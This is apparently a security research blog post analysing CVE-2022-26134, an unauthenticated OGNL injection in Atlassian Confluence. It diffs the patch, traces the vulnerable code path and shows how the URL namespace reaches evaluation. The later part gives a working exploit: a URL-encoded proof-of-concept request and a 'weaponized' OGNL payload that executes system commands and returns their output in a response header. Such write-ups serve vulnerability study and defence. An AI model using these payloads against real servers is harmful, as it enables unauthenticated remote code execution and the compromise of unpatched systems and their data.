In this episode, we will investigate CVE-2022-26134 of Atlassian Confluence. A preauth OGNL injection leading to Remote Code Execution.
CVE-2022-26134
Details and information gathering
Advisories below are more than enough to start analyzing the CVE.
https://nvd.nist.gov/vuln/detail/CVE-2022-26134
https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
Fixed versions,
1
2
3
4
5
6
7
7.4.17
7.13.7
7.14.3
7.15.2
7.16.4
7.17.4
7.18.1
The diff was huge.
I struggled finding the sinkhole for a while, looked at the changes but couldn’t make much progress.
Reading the documents properly
I should have maybe read the advisory properly before starting to look at the things.
It is clearly stated in the advisory that the patch to the vulnerability could be applied by just changing the files below. This will save us huge amount of time now.
Changed files,
1
2
3
* xwork-1.0.3-atlassian-10.jar
* webwork-2.1.5-atlassian-4.jar
* CachedConfigurationProvider.class
Let’s decompile them
1
2
find . -exec find {} -type f -name "*.jar" \; | xa
rgs -I {} /opt/jadx/bin/jadx -d decompiled {} --comments-level none
Looking at the diffs now we can see that there are a few changes. Java files are the only ones that are important. Some class files could be shown as changed but they may not be. We need to rely on the decompiled versions, java files.
There are couple of java files that stood out.
I also used intellij to check the difference
Investigation begins
After looking at the differences this code block below was the only one that stood out. Knowing that the vulnerability is an OGNL injection, it seemed like a good starting point to investigate things as it had a patch removing the OgnlValueStack
.
1
2
3
4
5
-OgnlValueStack stack = ActionContext.getContext().getValueStack();
-String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
-String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);
+String finalNamespace = this.namespace;
+String finalActionName = this.actionName;
TextParseUtil.class
,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.opensymphony.xwork.util;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class TextParseUtil {
public TextParseUtil() {
}
public static String translateVariables(String expression, OgnlValueStack stack) {
StringBuilder sb = new StringBuilder();
Pattern p = Pattern.compile("\\$\\{([^}]*)\\}");
Matcher m = p.matcher(expression);
int previous;
for(previous = 0; m.find(); previous = m.end()) {
String g = m.group(1);
int start = m.start();
String value;
try {
Object o = stack.findValue(g);
value = o == null ? "" : o.toString();
} catch (Exception var10) {
value = "";
}
sb.append(expression.substring(previous, start)).append(value);
}
if (previous < expression.length()) {
sb.append(expression.substring(previous));
}
return sb.toString();
}
}
It first matches a pattern. If the pattern is matched
it calls stack.findValue
on the matched value resulting in the OGNL evaluation.
The text ${7*7}
matches with the expression \$\{([^}]*)\}
or basically ${<INJECTION>}
In the ActionChainResult.class
of xwork
library. TextParseUtil.translateVariables
method is called on this.namespace
and this.actionName
.
If we can control any of those variables, we can get OGNL injection and therefore code execution.
Let’s take a look this.actionName
and this.namespace
They are declared as private variables inside ActionChainResult.class
,
1
2
3
4
5
6
7
public class ActionChainResult implements Result {
private static final Log log = LogFactory.getLog(ActionChainResult.class);
public static final String DEFAULT_PARAM = "actionName";
private static final String CHAIN_HISTORY = "CHAIN_HISTORY";
private ActionProxy proxy;
private String actionName;
private String namespace;
Before reaching to the patched location
com.opensymphony.xwork.ActionChainResult.execute()
,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null) {
this.namespace = invocation.getProxy().getNamespace();
}
OgnlValueStack stack = ActionContext.getContext().getValueStack();
String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);
if (this.isInChainHistory(finalNamespace, finalActionName)) {
throw new XworkException("infinite recursion detected");
} else {
this.addToHistory(finalNamespace, finalActionName);
HashMap extraContext = new HashMap();
extraContext.put("com.opensymphony.xwork.util.OgnlValueStack.ValueStack", ActionContext.getContext().getValueStack());
extraContext.put("com.opensymphony.xwork.ActionContext.parameters", ActionContext.getContext().getParameters());
extraContext.put("com.opensymphony.xwork.interceptor.component.ComponentManager", ActionContext.getContext().get("com.opensymphony.xwork.interceptor.component.ComponentManager"));
extraContext.put("CHAIN_HISTORY", ActionContext.getContext().get("CHAIN_HISTORY"));
if (log.isDebugEnabled()) {
log.debug("Chaining to action " + finalActionName);
}
this.proxy = ActionProxyFactory.getFactory().createActionProxy(finalNamespace, finalActionName, extraContext);
this.proxy.execute();
}
}
If block below is performed
1
2
3
if (this.namespace == null) {
this.namespace = invocation.getProxy().getNamespace();
}
I’ve set break points and send some requests.
As the name was ActionChainResult
I thought finding an action could have been a good starting point.
While going through the templates I found the template below.
http://confluence:8090/fixonly/updatelicense.vm
It had no protection, I could access it without any privs.
It has a form that sends a post request to action /fixonly/dofixupdatelicense.action
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /fixonly/dofixupdatelicense.action HTTP/1.1
Host: confluence:8090
Content-Length: 39
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://confluence:8090
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://confluence:8090/fixonly/updatelicense.vm
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=6F94CBB1A7AD2B6FAB410B455DA81924
Connection: close
licenseString=123123&update=update.name
It hit the breakpoint and now we can see how the namespace
and actionName
are being parsed.
Post request to /fixonly/dofixupdatelicense.action
resulted in
1
2
this.namespace -> /fixonly
this.actionName -> notpermitted
It looked like namespace
would be something I could easily control but the action name is not.
I tried some basic injections but it didn’t work. It somehow did not hit the breakpoint.
${7*7}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /%24%7b%37%2a%37%7d/dofixupdatelicense.action HTTP/1.1
Host: confluence:8090
Content-Length: 39
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://confluence:8090
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://confluence:8090/fixonly/updatelicense.vm
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=6F94CBB1A7AD2B6FAB410B455DA81924
Connection: close
licenseString=123123&update=update.name
Investigating the call stack I found how the actionName
and namespace
are being parsed precisely.
Inside com.opensymphony.webwork.dispatcher.ServletDispatcher
class we have the methods below that sets those variable,
1
2
3
4
5
protected String getActionName(String name) {
int beginIdx = name.lastIndexOf("/");
int endIdx = name.lastIndexOf(".");
return name.substring(beginIdx == -1 ? 0 : beginIdx + 1, endIdx == -1 ? name.length() : endIdx);
}
1
2
3
4
public static String getNamespaceFromServletPath(String servletPath) {
servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
return servletPath;
}
Sending a get request to /foobar
resulted in sort of a hidden fourohfour.action
and there was no servletPath
on it. Therefore, it did not hit the break point I set inside com.opensymphony.xwork.ActionChainResult.execute()
.
However, when sending the foobar
with a /
at the end. It appends an action at the end of it /index.action
thinking like there is an actual page there. This results in processing of namespace and action fully so we can reach the sinkhole. As you can see the action is index.action
Proof of Concept
That means that we can send /${7*7}/
and it should hopefully be OGNL evaluated
Aaaand it indeed does. We can see our lovely 49
in the finalNamespace
Url encoded version : /%24%7b%37%2a%37%7d/
Getting code execution
Let’s exploit it by using the payload we’ve used before in https://morph3.blog/posts/Studying-old-CVEs-Part-1-CVE-2021-26084/#exploiting
1
${["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")}
And we have code execution !
Weaponizing the exploit
Let’s clean things up a bit and weaponize our exploit
An example code execution will look like below.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import org.apache.commons.io.IOUtils;
public class Foo {
public static void main(String[] args) {
try {
// Replace the command with the actual command you want to run
Process process = Runtime.getRuntime().exec("your_command_here");
// Get the input stream from the process
String result = IOUtils.toString(process.getInputStream(), "UTF-8");
// Print or use the result as needed
System.out.println(result);
// Wait for the process to finish
int exitCode = process.waitFor();
System.out.println("Exit code: " + exitCode);
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
}
We can set a header in the response with the method below,
com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("","")
We can execute code like below,
@java.lang.Runtime@getRuntime().exec("id").getInputStream()
We can call toString
from IOUtils
to capture the output of the exec method
@org.apache.commons.io.IOUtils@toString()
Combining all we have a very nice fileless code execution,
1
${(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("Output",@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream())))}
References
- https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-/images/studying_old_cves_part2/
- https://nvd.nist.gov/vuln/detail/CVE-2022-26134
- https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
- https://morph3.blog/posts/Studying-old-CVEs-Part-1-CVE-2021-26084/#exploiting